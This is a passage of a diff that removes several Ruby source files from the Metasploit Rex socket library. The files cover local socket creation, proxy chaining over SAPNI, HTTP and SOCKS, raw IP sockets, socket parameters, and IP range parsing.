if (handlers == nil)
self.handlers = []
end
self.handlers << handler
end
#
# Deregisters a previously registered event handler.
#
def deregister_event_handler(handler)
if (handlers)
handlers.delete(handler)
end
end
#
# Enumerates each registered event handler so that they can be notified of
# an event.
#
def each_event_handler(&block)
if (handlers)
handlers.each(&block)
end
end
#
# Notifies handlers of the before socket create event.
#
def notify_before_socket_create(comm, param)
each_event_handler() { |handler|
handler.on_before_socket_create(comm, param)
}
end
#
# Notifies handlers of the socket created event.
#
def notify_socket_created(comm, sock, param)
each_event_handler() { |handler|
handler.on_socket_created(comm, sock, param)
}
end
protected
attr_accessor :handlers # :nodoc:
attr_accessor :handlers_rwlock # :nodoc:
end
end
end

View File

@ -1,529 +0,0 @@
# -*- coding: binary -*-
require 'singleton'
require 'rex/socket'
require 'rex/socket/tcp'
require 'rex/socket/ssl_tcp'
require 'rex/socket/ssl_tcp_server'
require 'rex/socket/udp'
require 'rex/socket/ip'
require 'timeout'
###
#
# Local communication class factory.
#
###
class Rex::Socket::Comm::Local
include Singleton
include Rex::Socket::Comm
#
# Creates an instance of a socket using the supplied parameters.
#
def self.create(param)
# Work around jRuby socket implementation issues
if(RUBY_PLATFORM == 'java')
return self.create_jruby(param)
end
case param.proto
when 'tcp'
return create_by_type(param, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
when 'udp'
return create_by_type(param, ::Socket::SOCK_DGRAM, ::Socket::IPPROTO_UDP)
when 'ip'
return create_ip(param)
else
raise Rex::UnsupportedProtocol.new(param.proto), caller
end
end
#
# Creates an instance of a socket using the supplied parameters.
# Use various hacks to make this work with jRuby
#
def self.create_jruby(param)
sock = nil
# Notify handlers of the before socket create event.
self.instance.notify_before_socket_create(self, param)
case param.proto
when 'tcp'
if (param.server?)
sock = TCPServer.new(param.localport, param.localhost)
klass = Rex::Socket::TcpServer
if (param.ssl)
klass = Rex::Socket::SslTcpServer
end
sock.extend(klass)
else
sock = TCPSocket.new(param.peerhost, param.peerport)
klass = Rex::Socket::Tcp
if (param.ssl)
klass = Rex::Socket::SslTcp
end
sock.extend(klass)
end
when 'udp'
if (param.server?)
sock = UDPServer.new(param.localport, param.localhost)
klass = Rex::Socket::UdpServer
sock.extend(klass)
else
sock = UDPSocket.new(param.peerhost, param.peerport)
klass = Rex::Socket::Udp
sock.extend(klass)
end
else
raise Rex::UnsupportedProtocol.new(param.proto), caller
end
sock.initsock(param)
self.instance.notify_socket_created(self, sock, param)
return sock
end
#
# Creates a raw IP socket using the supplied Parameter instance.
# Special-cased because of how different it is from UDP/TCP
#
def self.create_ip(param)
self.instance.notify_before_socket_create(self, param)
sock = ::Socket.open(::Socket::PF_INET, ::Socket::SOCK_RAW, ::Socket::IPPROTO_RAW)
sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_HDRINCL, 1)
# Configure broadcast support
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BROADCAST, true)
if (param.bare? == false)
sock.extend(::Rex::Socket::Ip)
sock.initsock(param)
end
self.instance.notify_socket_created(self, sock, param)
sock
end
#
# Creates a socket using the supplied Parameter instance.
#
def self.create_by_type(param, type, proto = 0)
# Whether to use IPv6 addressing
usev6 = false
# Detect IPv6 addresses and enable IPv6 accordingly
if ( Rex::Socket.support_ipv6?())
# Allow the caller to force IPv6
if (param.v6)
usev6 = true
end
# Force IPv6 mode for non-connected UDP sockets
if (type == ::Socket::SOCK_DGRAM and not param.peerhost)
# FreeBSD allows IPv6 socket creation, but throws an error on sendto()
# Windows 7 SP1 and newer also fail to sendto with IPv6 udp sockets
unless Rex::Compat.is_freebsd or Rex::Compat.is_windows
usev6 = true
end
end
local = Rex::Socket.resolv_nbo(param.localhost) if param.localhost
peer = Rex::Socket.resolv_nbo(param.peerhost) if param.peerhost
if (local and local.length == 16)
usev6 = true
end
if (peer and peer.length == 16)
usev6 = true
end
if (usev6)
if (local and local.length == 4)
if (local == "\x00\x00\x00\x00")
param.localhost = '::'
elsif (local == "\x7f\x00\x00\x01")
param.localhost = '::1'
else
param.localhost = '::ffff:' + Rex::Socket.getaddress(param.localhost, true)
end
end
if (peer and peer.length == 4)
if (peer == "\x00\x00\x00\x00")
param.peerhost = '::'
elsif (peer == "\x7f\x00\x00\x01")
param.peerhost = '::1'
else
param.peerhost = '::ffff:' + Rex::Socket.getaddress(param.peerhost, true)
end
end
param.v6 = true
end
else
# No IPv6 support
param.v6 = false
end
# Notify handlers of the before socket create event.
self.instance.notify_before_socket_create(self, param)
# Create the socket
sock = nil
if (param.v6)
sock = ::Socket.new(::Socket::AF_INET6, type, proto)
else
sock = ::Socket.new(::Socket::AF_INET, type, proto)
end
# Bind to a given local address and/or port if they are supplied
if param.localport or param.localhost
begin
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, true)
sock.bind(Rex::Socket.to_sockaddr(param.localhost, param.localport))
rescue ::Errno::EADDRNOTAVAIL,::Errno::EADDRINUSE
sock.close
raise Rex::BindFailed.new(param.localhost, param.localport), caller
end
end
# Configure broadcast support for all datagram sockets
if (type == ::Socket::SOCK_DGRAM)
sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_BROADCAST, true)
end
# If a server TCP instance is being created...
if (param.server?)
sock.listen(256)
if (param.bare? == false)
klass = Rex::Socket::TcpServer
if (param.ssl)
klass = Rex::Socket::SslTcpServer
end
sock.extend(klass)
sock.initsock(param)
end
# Otherwise, if we're creating a client...
else
chain = []
# If we were supplied with host information
if (param.peerhost)
# A flag that indicates whether we need to try multiple scopes
retry_scopes = false
# Always retry with link-local IPv6 addresses
if Rex::Socket.is_ipv6?( param.peerhost ) and param.peerhost =~ /^fe80::/
retry_scopes = true
end
# Prepare a list of scope IDs to try when connecting to
# link-level addresses. Read from /proc if it is available,
# otherwise increment through the first 255 IDs.
@@ip6_lla_scopes ||= []
if @@ip6_lla_scopes.length == 0 and retry_scopes
# Linux specific interface lookup code
if ::File.exist?( "/proc/self/net/igmp6" )
::File.open("/proc/self/net/igmp6") do |fd|
fd.each_line do |line|
line = line.strip
tscope, tint, junk = line.split(/\s+/, 3)
next if not tint
# Specifying lo in any connect call results in the socket
# being unusable, even if the correct interface is set.
next if tint == "lo"
@@ip6_lla_scopes << tscope
end
end
else
# Other Unix-like platforms should support a raw scope ID
[*(1 .. 255)].map{ |x| @@ip6_lla_scopes << x.to_s }
end
end
ip6_scope_idx = 0
ip = param.peerhost
port = param.peerport
if param.proxies
chain = param.proxies.dup
chain.push(['host',param.peerhost,param.peerport])
ip = chain[0][1]
port = chain[0][2].to_i
end
begin
begin
Timeout.timeout(param.timeout) do
sock.connect(Rex::Socket.to_sockaddr(ip, port))
end
rescue ::Timeout::Error
raise ::Errno::ETIMEDOUT
end
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::ENOPROTOOPT
# Rescue errors caused by a bad Scope ID for a link-local address
if retry_scopes and @@ip6_lla_scopes[ ip6_scope_idx ]
ip = param.peerhost + "%" + @@ip6_lla_scopes[ ip6_scope_idx ]
ip6_scope_idx += 1
retry
end
sock.close
raise Rex::HostUnreachable.new(ip, port), caller
rescue ::Errno::EADDRNOTAVAIL,::Errno::EADDRINUSE
sock.close
raise Rex::InvalidDestination.new(ip, port), caller
rescue Errno::ETIMEDOUT
sock.close
raise Rex::ConnectionTimeout.new(ip, port), caller
rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED
sock.close
# Report the actual thing we were trying to connect to here, not
# param.peerhost, since that's the eventual target at the end of the
# proxy chain
raise Rex::ConnectionRefused.new(ip, port.to_i), caller
end
end
if (param.bare? == false)
case param.proto
when 'tcp'
klass = Rex::Socket::Tcp
sock.extend(klass)
sock.initsock(param)
when 'udp'
sock.extend(Rex::Socket::Udp)
sock.initsock(param)
end
end
if chain.size > 1
chain.each_with_index {
|proxy, i|
next_hop = chain[i + 1]
if next_hop
proxy(sock, proxy[0], next_hop[1], next_hop[2])
end
}
end
# Now extend the socket with SSL and perform the handshake
if(param.bare? == false and param.ssl)
klass = Rex::Socket::SslTcp
sock.extend(klass)
sock.initsock(param)
end
end
# Notify handlers that a socket has been created.
self.instance.notify_socket_created(self, sock, param)
sock
end
def self.proxy(sock, type, host, port)
case type.downcase
when 'sapni'
packet_type = 'NI_ROUTE'
route_info_version = 2
ni_version = 39
num_of_entries = 2
talk_mode = 1 # ref: http://help.sap.com/saphelp_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767/content.htm
num_rest_nodes = 1
_af, shost, sport = sock.getpeername_as_array
first_route_item = [shost, 0, sport, 0, 0].pack("A*CA*cc")
route_data = [first_route_item.length, first_route_item].pack("NA*")
route_data << [host, 0, port.to_s, 0, 0].pack("A*CA*cc")
ni_packet = [
packet_type,
0,
route_info_version,
ni_version,
num_of_entries,
talk_mode,
0,
0,
num_rest_nodes
].pack("A8c8")
# Add the data block, according to sap documentation:
# A 4-byte header precedes each data block. These 4 bytes give the
# length of the data block (length without leading 4 bytes)
# The data block (the route data)
ni_packet << [route_data.length - 4].pack('N') + route_data
# Now that we've built the whole packet, prepend its length before writing it to the wire
ni_packet = [ni_packet.length].pack('N') + ni_packet
size = sock.put(ni_packet)
if size != ni_packet.length
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
end
begin
ret_len = sock.get_once(4, 30).unpack('N')[0]
if ret_len and ret_len != 0
ret = sock.get_once(ret_len, 30)
end
rescue IOError
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
end
if ret and ret.length < 4
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a complete response from the proxy"), caller
end
if ret =~ /NI_RTERR/
case ret
when /timed out/
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to remote host #{host} timed out")
when /refused/
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to remote port #{port} closed")
when /denied/
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to #{host}:#{port} blocked by ACL")
else
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to #{host}:#{port} failed (Unknown fail)")
end
elsif ret =~ /NI_PONG/
# success case
# would like to print this "[*] remote native connection to #{host}:#{port} established\n"
else
raise Rex::ConnectionProxyError.new(host, port, type, "Connection to #{host}:#{port} failed (Unknown fail)")
end
when 'http'
setup = "CONNECT #{host}:#{port} HTTP/1.0\r\n\r\n"
size = sock.put(setup)
if (size != setup.length)
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
end
begin
ret = sock.get_once(39,30)
rescue IOError
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
end
if ret.nil?
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
end
resp = Rex::Proto::Http::Response.new
resp.update_cmd_parts(ret.split(/\r?\n/)[0])
if resp.code != 200
raise Rex::ConnectionProxyError.new(host, port, type, "The proxy returned a non-OK response"), caller
end
when 'socks4'
setup = [4,1,port.to_i].pack('CCn') + Socket.gethostbyname(host)[3] + Rex::Text.rand_text_alpha(rand(8)+1) + "\x00"
size = sock.put(setup)
if (size != setup.length)
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
end
begin
ret = sock.get_once(8, 30)
rescue IOError
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
end
if (ret.nil? or ret.length < 8)
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a complete response from the proxy"), caller
end
if ret[1,1] != "\x5a"
raise Rex::ConnectionProxyError.new(host, port, type, "Proxy responded with error code #{ret[0,1].unpack("C")[0]}"), caller
end
when 'socks5'
auth_methods = [5,1,0].pack('CCC')
size = sock.put(auth_methods)
if (size != auth_methods.length)
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
end
ret = sock.get_once(2,30)
if (ret[1,1] == "\xff")
raise Rex::ConnectionProxyError.new(host, port, type, "The proxy requires authentication"), caller
end
if (Rex::Socket.is_ipv4?(host))
addr = Rex::Socket.gethostbyname(host)[3]
setup = [5,1,0,1].pack('C4') + addr + [port.to_i].pack('n')
elsif (Rex::Socket.support_ipv6? and Rex::Socket.is_ipv6?(host))
# IPv6 stuff all untested
addr = Rex::Socket.gethostbyname(host)[3]
setup = [5,1,0,4].pack('C4') + addr + [port.to_i].pack('n')
else
# Then it must be a domain name.
# Unfortunately, it looks like the host has always been
# resolved by the time it gets here, so this code never runs.
setup = [5,1,0,3].pack('C4') + [host.length].pack('C') + host + [port.to_i].pack('n')
end
size = sock.put(setup)
if (size != setup.length)
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to send the entire request to the proxy"), caller
end
begin
response = sock.get_once(10, 30)
rescue IOError
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a response from the proxy"), caller
end
if (response.nil? or response.length < 10)
raise Rex::ConnectionProxyError.new(host, port, type, "Failed to receive a complete response from the proxy"), caller
end
if response[1,1] != "\x00"
raise Rex::ConnectionProxyError.new(host, port, type, "Proxy responded with error code #{response[1,1].unpack("C")[0]}"), caller
end
else
raise RuntimeError, "The proxy type specified is not valid", caller
end
end
##
#
# Registration
#
##
def self.register_event_handler(handler) # :nodoc:
self.instance.register_event_handler(handler)
end
def self.deregister_event_handler(handler) # :nodoc:
self.instance.deregister_event_handler(handler)
end
def self.each_event_handler(handler) # :nodoc:
self.instance.each_event_handler(handler)
end
end

View File

@ -1,132 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
###
#
# This class provides methods for interacting with a IP socket.
#
###
module Rex::Socket::Ip
include Rex::Socket
##
#
# Factory
#
##
#
# Creates the client using the supplied hash.
#
def self.create(hash = {})
hash['Proto'] = 'ip'
self.create_param(Rex::Socket::Parameters.from_hash(hash))
end
#
# Wrapper around the base socket class' creation method that automatically
# sets the parameter's protocol to IP.
#
def self.create_param(param)
param.proto = 'ip'
Rex::Socket.create_param(param)
end
##
#
# IP connected state methods
#
##
#
# Write the supplied datagram to the connected IP socket.
#
def write(gram)
raise RuntimeError, "IP sockets must use sendto(), not write()"
end
alias put write
#
# Read a datagram from the IP socket.
#
def read(length = 65535)
raise RuntimeError, "IP sockets must use recvfrom(), not read()"
end
##
#
# IP non-connected state methods
#
##
#
# Sends a datagram to the supplied host:port with optional flags.
#
def sendto(gram, peerhost, flags = 0)
dest = ::Socket.pack_sockaddr_in(0, peerhost)
# Some BSDs require byteswap for len and offset
if(
Rex::Compat.is_freebsd or
Rex::Compat.is_netbsd or
Rex::Compat.is_bsdi or
Rex::Compat.is_macosx
)
gram=gram.dup
# Note that these are *intentionally* host order for BSD support
gram[2,2]=gram[2,2].unpack("n").pack("s")
gram[6,2]=gram[6,2].unpack("n").pack("s")
end
begin
send(gram, flags, dest)
rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::EADDRNOTAVAIL
return nil
end
end
#
# Receives a datagram and returns the data and host of the requestor
# as [ data, host ].
#
def recvfrom(length = 65535, timeout=def_read_timeout)
begin
if ((rv = ::IO.select([ fd ], nil, nil, timeout)) and
(rv[0]) and (rv[0][0] == fd)
)
data, saddr = super(length)
af, host = Rex::Socket.from_sockaddr(saddr)
return [ data, host ]
else
return [ '', nil ]
end
rescue Exception
return [ '', nil ]
end
end
#
# Calls recvfrom and only returns the data
#
def get(timeout=nil)
data, saddr = recvfrom(65535, timeout)
return data
end
#
# The default number of seconds to wait for a read operation to timeout.
#
def def_read_timeout
10
end
def type?
return 'ip'
end
end

View File

@ -1,372 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
###
#
# This class represents the set of parameters that are used to create
# a socket, whether it be a server or client socket.
#
# @example
# nsock = Rex::Socket::Tcp.create(
# 'PeerHost' => opts['RHOST'] || rhost,
# 'PeerPort' => (opts['RPORT'] || rport).to_i,
# 'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",
# 'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
# 'SSL' => dossl,
# 'SSLVersion'=> opts['SSLVersion'] || ssl_version,
# 'Proxies' => proxies,
# 'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i,
# 'Context' =>
# {
# 'Msf' => framework,
# 'MsfExploit' => self,
# })
#
###
class Rex::Socket::Parameters
##
#
# Factory
#
##
#
# Creates an instance of the Parameters class using the supplied hash.
#
def self.from_hash(hash)
return self.new(hash)
end
##
#
# Constructor
#
##
#
# Initializes the attributes from the supplied hash. The following hash
# keys can be specified.
#
# @option hash [String] 'PeerHost' The remote host to connect to
# @option hash [String] 'PeerAddr' (alias for 'PeerHost')
# @option hash [Fixnum] 'PeerPort' The remote port to connect to
# @option hash [String] 'LocalHost' The local host to communicate from, if any
# @option hash [String] 'LocalPort' The local port to communicate from, if any
# @option hash [Bool] 'Bool' Create a bare socket
# @option hash [Bool] 'Server' Whether or not this should be a server
# @option hash [Bool] 'SSL' Whether or not SSL should be used
# @option hash [OpenSSL::SSL::SSLContext] 'SSLContext' Use a pregenerated SSL Context
# @option hash [String] 'SSLVersion' Specify Auto, SSL2, SSL3, or TLS1 (Auto is
# default)
# @option hash [String] 'SSLCert' A file containing an SSL certificate (for
# server sockets)
# @option hash [String] 'SSLCipher' see {#ssl_cipher}
# @option hash [Bool] 'SSLCompression' enable SSL-level compression where available
# @option hash [String] 'SSLVerifyMode' SSL certificate verification
# mechanism. One of 'NONE' (default), 'CLIENT_ONCE', 'FAIL_IF_NO_PEER_CERT ', 'PEER'
# @option hash [String] 'Proxies' List of proxies to use.
# @option hash [String] 'Proto' The underlying protocol to use.
# @option hash [String] 'IPv6' Force the use of IPv6.
# @option hash [String] 'Comm' The underlying {Comm} object to use to create
# the socket for this parameter set.
# @option hash [Hash] 'Context' A context hash that can allow users of
# this parameter class instance to determine who is responsible for
# requesting that a socket be created.
# @option hash [String] 'Retries' The number of times a connection should be
# retried.
# @option hash [Fixnum] 'Timeout' The number of seconds before a connection
# should time out
def initialize(hash)
if (hash['PeerHost'])
self.peerhost = hash['PeerHost']
elsif (hash['PeerAddr'])
self.peerhost = hash['PeerAddr']
else
self.peerhost = nil
end
if (hash['LocalHost'])
self.localhost = hash['LocalHost']
elsif (hash['LocalAddr'])
self.localhost = hash['LocalAddr']
else
self.localhost = '0.0.0.0'
end
if (hash['PeerPort'])
self.peerport = hash['PeerPort'].to_i
else
self.peerport = 0
end
if (hash['LocalPort'])
self.localport = hash['LocalPort'].to_i
else
self.localport = 0
end
if (hash['Bare'])
self.bare = hash['Bare']
else
self.bare = false
end
if (hash['SSL'] and hash['SSL'].to_s =~ /^(t|y|1)/i)
self.ssl = true
else
self.ssl = false
end
if hash['SSLContext']
self.sslctx = hash['SSLContext']
end
supported_ssl_versions = ['Auto', 'SSL2', 'SSL23', 'TLS1', 'SSL3', :Auto, :SSLv2, :SSLv3, :SSLv23, :TLSv1]
if (hash['SSLVersion'] and supported_ssl_versions.include? hash['SSLVersion'])
self.ssl_version = hash['SSLVersion']
end
supported_ssl_verifiers = %W{CLIENT_ONCE FAIL_IF_NO_PEER_CERT NONE PEER}
if (hash['SSLVerifyMode'] and supported_ssl_verifiers.include? hash['SSLVerifyMode'])
self.ssl_verify_mode = hash['SSLVerifyMode']
end
if hash['SSLCompression']
self.ssl_compression = hash['SSLCompression']
end
if (hash['SSLCipher'])
self.ssl_cipher = hash['SSLCipher']
end
if (hash['SSLCert'] and ::File.file?(hash['SSLCert']))
begin
self.ssl_cert = ::File.read(hash['SSLCert'])
rescue ::Exception => e
elog("Failed to read cert: #{e.class}: #{e}", LogSource)
end
end
if hash['Proxies']
self.proxies = hash['Proxies'].split('-').map{|a| a.strip}.map{|a| a.split(':').map{|b| b.strip}}
end
# The protocol this socket will be using
if (hash['Proto'])
self.proto = hash['Proto'].downcase
else
self.proto = 'tcp'
end
# Whether or not the socket should be a server
self.server = hash['Server'] || false
# The communication subsystem to use to create the socket
self.comm = hash['Comm']
# The context that was passed in, if any.
self.context = hash['Context'] || {}
# If no comm was supplied, try to use the comm that is best fit to
# handle the provided host based on the current routing table.
if( self.server )
if (self.comm == nil and self.localhost)
self.comm = Rex::Socket::SwitchBoard.best_comm(self.localhost)
end
else
if (self.comm == nil and self.peerhost)
self.comm = Rex::Socket::SwitchBoard.best_comm(self.peerhost)
end
end
# If we still haven't found a comm, we default to the local comm.
self.comm = Rex::Socket::Comm::Local if (self.comm == nil)
# If we are a UDP server, turn off the server flag as it was only set when
# creating the UDP socket in order to avail of the switch board above.
if( self.server and self.proto == 'udp' )
self.server = false
end
# The number of connection retries to make (client only)
if hash['Retries']
self.retries = hash['Retries'].to_i
else
self.retries = 0
end
# The number of seconds before a connect attempt times out (client only)
if hash['Timeout']
self.timeout = hash['Timeout'].to_i
else
self.timeout = 5
end
# Whether to force IPv6 addressing
self.v6 = hash['IPv6'] || false
end
##
#
# Conditionals
#
##
#
# Returns true if this represents parameters for a server.
#
def server?
return (server == true)
end
#
# Returns true if this represents parameters for a client.
#
def client?
return (server == false)
end
#
# Returns true if the protocol for the parameters is TCP.
#
def tcp?
return (proto == 'tcp')
end
#
# Returns true if the protocol for the parameters is UDP.
#
def udp?
return (proto == 'udp')
end
#
# Returns true if the protocol for the parameters is IP.
#
def ip?
return (proto == 'ip')
end
#
# Returns true if the socket is a bare socket that does not inherit from
# any extended Rex classes.
#
def bare?
return (bare == true)
end
#
# Returns true if SSL has been requested.
#
def ssl?
return ssl
end
#
# Returns true if IPv6 has been enabled
#
def v6?
return v6
end
##
#
# Attributes
#
##
# The remote host information, equivalent to the PeerHost parameter hash
# key.
# @return [String]
attr_accessor :peerhost
# The remote port. Equivalent to the PeerPort parameter hash key.
# @return [Fixnum]
attr_accessor :peerport
# The local host. Equivalent to the LocalHost parameter hash key.
# @return [String]
attr_accessor :localhost
# The local port. Equivalent to the LocalPort parameter hash key.
# @return [Fixnum]
attr_accessor :localport
# The protocol to to use, such as TCP. Equivalent to the Proto parameter
# hash key.
# @return [String]
attr_accessor :proto
# Whether or not this is a server. Equivalent to the Server parameter
# hash key.
# @return [Bool]
attr_accessor :server
# The {Comm} instance that should be used to create the underlying socket.
# @return [Comm]
attr_accessor :comm
# The context hash that was passed in to the structure. (default: {})
# @return [Hash]
attr_accessor :context
# The number of attempts that should be made.
# @return [Fixnum]
attr_accessor :retries
# The number of seconds before a connection attempt should time out.
# @return [Fixnum]
attr_accessor :timeout
# Whether or not this is a bare (non-extended) socket instance that should
# be created.
# @return [Bool]
attr_accessor :bare
# Whether or not SSL should be used to wrap the connection.
# @return [Bool]
attr_accessor :ssl
# Pre configured SSL Context to use
# @return [OpenSSL::SSL::SSLContext]
attr_accessor :sslctx
# What version of SSL to use (Auto, SSL2, SSL3, SSL23, TLS1)
# @return [String,Symbol]
attr_accessor :ssl_version
# What specific SSL Cipher(s) to use, may be a string containing the cipher
# name or an array of strings containing cipher names e.g.
# ["DHE-RSA-AES256-SHA", "DHE-DSS-AES256-SHA"]
# @return [String,Array]
attr_accessor :ssl_cipher
# The SSL certificate, in pem format, stored as a string. See
# {Rex::Socket::SslTcpServer#makessl}
# @return [String]
attr_accessor :ssl_cert
# Enables SSL/TLS-level compression
# @return [Bool]
attr_accessor :ssl_compression
#
# The SSL context verification mechanism
#
attr_accessor :ssl_verify_mode
#
# Whether we should use IPv6
# @return [Bool]
attr_accessor :v6
# List of proxies to use
# @return [String]
attr_accessor :proxies
alias peeraddr peerhost
alias localaddr localhost
end

View File

@ -1,470 +0,0 @@
# -*- coding: binary -*-
require 'rex/socket'
module Rex
module Socket
###
#
# This class provides an interface to enumerating an IP range
#
# This class uses start,stop pairs to represent ranges of addresses. This
# is very efficient for large numbers of consecutive addresses, and not
# show-stoppingly inefficient when storing a bunch of non-consecutive
# addresses, which should be a somewhat unusual case.
#
# @example
# r = RangeWalker.new("10.1,3.1-7.1-255")
# r.include?("10.3.7.255") #=> true
# r.length #=> 3570
# r.each do |addr|
# # do something with the address
# end
###
class RangeWalker
# The total number of IPs within the range
#
# @return [Fixnum]
attr_reader :length
# for backwards compatibility
alias :num_ips :length
# A list of the {Range ranges} held in this RangeWalker
# @return [Array]
attr_reader :ranges
# Initializes a walker instance using the supplied range
#
# @param parseme [RangeWalker,String]
def initialize(parseme)
if parseme.is_a? RangeWalker
@ranges = parseme.ranges.dup
else
@ranges = parse(parseme)
end
reset
end
#
# Calls the instance method
#
# This is basically only useful for determining if a range can be parsed
#
# @return (see #parse)
def self.parse(parseme)
self.new.parse(parseme)
end
#
# Turn a human-readable range string into ranges we can step through one address at a time.
#
# Allow the following formats:
# "a.b.c.d e.f.g.h"
# "a.b.c.d, e.f.g.h"
# where each chunk is CIDR notation, (e.g. '10.1.1.0/24') or a range in nmap format (see {#expand_nmap})
#
# OR this format
# "a.b.c.d-e.f.g.h"
# where a.b.c.d and e.f.g.h are single IPs and the second must be
# bigger than the first.
#
# @param parseme [String]
# @return [self]
# @return [false] if +parseme+ cannot be parsed
def parse(parseme)
return nil if not parseme
ranges = []
parseme.split(', ').map{ |a| a.split(' ') }.flatten.each do |arg|
opts = {}
# Handle IPv6 first (support ranges, but not CIDR)
if arg.include?(":")
addrs = arg.split('-', 2)
# Handle a single address
if addrs.length == 1
addr, scope_id = addrs[0].split('%')
opts[:scope_id] = scope_id if scope_id
opts[:ipv6] = true
return false unless Rex::Socket.is_ipv6?(addr)
addr = Rex::Socket.addr_atoi(addr)
ranges.push(Range.new(addr, addr, opts))
next
end
addr1, scope_id = addrs[0].split('%')
opts[:scope_id] = scope_id if scope_id
addr2, scope_id = addrs[0].split('%')
( opts[:scope_id] ||= scope_id ) if scope_id
# Both have to be IPv6 for this to work
return false unless (Rex::Socket.is_ipv6?(addr1) && Rex::Socket.is_ipv6?(addr2))
# Handle IPv6 ranges in the form of 2001::1-2001::10
addr1 = Rex::Socket.addr_atoi(addr1)
addr2 = Rex::Socket.addr_atoi(addr2)
ranges.push(Range.new(addr1, addr2, opts))
next
# Handle IPv4 CIDR
elsif arg.include?("/")
# Then it's CIDR notation and needs special case
return false if arg =~ /[,-]/ # Improper CIDR notation (can't mix with 1,3 or 1-3 style IP ranges)
return false if arg.scan("/").size > 1 # ..but there are too many slashes
ip_part,mask_part = arg.split("/")
return false if ip_part.nil? or ip_part.empty? or mask_part.nil? or mask_part.empty?
return false if mask_part !~ /^[0-9]{1,2}$/ # Illegal mask -- numerals only
return false if mask_part.to_i > 32 # This too -- between 0 and 32.
if ip_part =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
return false unless ip_part =~ Rex::Socket::MATCH_IPV4
end
begin
Rex::Socket.getaddress(ip_part) # This allows for "www.metasploit.com/24" which is fun.
rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT
return false # Can't resolve the ip_part, so bail.
end
expanded = expand_cidr(arg)
if expanded
ranges.push(expanded)
else
return false
end
# Handle hostnames
elsif arg =~ /[^-0-9,.*]/
# Then it's a domain name and we should send it on to addr_atoi
# unmolested to force a DNS lookup.
begin
ranges += Rex::Socket.addr_atoi_list(arg).map { |a| Range.new(a, a, opts) }
rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT
return false
end
# Handle IPv4 ranges
elsif arg =~ /^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})-([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})$/
# Then it's in the format of 1.2.3.4-5.6.7.8
# Note, this will /not/ deal with DNS names, or the fancy/obscure 10...1-10...2
begin
start, stop = Rex::Socket.addr_atoi($1), Rex::Socket.addr_atoi($2)
return false if start > stop # The end is greater than the beginning.
ranges.push(Range.new(start, stop, opts))
rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT
return false
end
else
# Returns an array of ranges
expanded = expand_nmap(arg)
if expanded
expanded.each { |r| ranges.push(r) }
end
end
end
# Remove any duplicate ranges
ranges = ranges.uniq
return ranges
end
#
# Resets the subnet walker back to its original state.
#
# @return [self]
def reset
return false if not valid?
@curr_range_index = 0
@curr_addr = @ranges.first.start
@length = 0
@ranges.each { |r| @length += r.length }
self
end
# Returns the next IP address.
#
# @return [String] The next address in the range
def next_ip
return false if not valid?
if (@curr_addr > @ranges[@curr_range_index].stop)
# Then we are at the end of this range. Grab the next one.
# Bail if there are no more ranges
return nil if (@ranges[@curr_range_index+1].nil?)
@curr_range_index += 1
@curr_addr = @ranges[@curr_range_index].start
end
addr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range_index].ipv6?)
if @ranges[@curr_range_index].options[:scope_id]
addr = addr + '%' + @ranges[@curr_range_index].options[:scope_id]
end
@curr_addr += 1
return addr
end
alias :next :next_ip
# Whether this RangeWalker's ranges are valid
def valid?
(@ranges && !@ranges.empty?)
end
# Returns true if the argument is an ip address that falls within any of
# the stored ranges.
#
# @return [true] if this RangeWalker contains +addr+
# @return [false] if not
def include?(addr)
return false if not @ranges
if (addr.is_a? String)
addr = Rex::Socket.addr_atoi(addr)
end
@ranges.map { |r|
if addr.between?(r.start, r.stop)
return true
end
}
return false
end
#
# Returns true if this RangeWalker includes *all* of the addresses in the
# given RangeWalker
#
# @param other [RangeWalker]
def include_range?(other)
return false if (!@ranges || @ranges.empty?)
return false if !other.ranges || other.ranges.empty?
# Check that all the ranges in +other+ fall within at least one of
# our ranges.
other.ranges.all? do |other_range|
ranges.any? do |range|
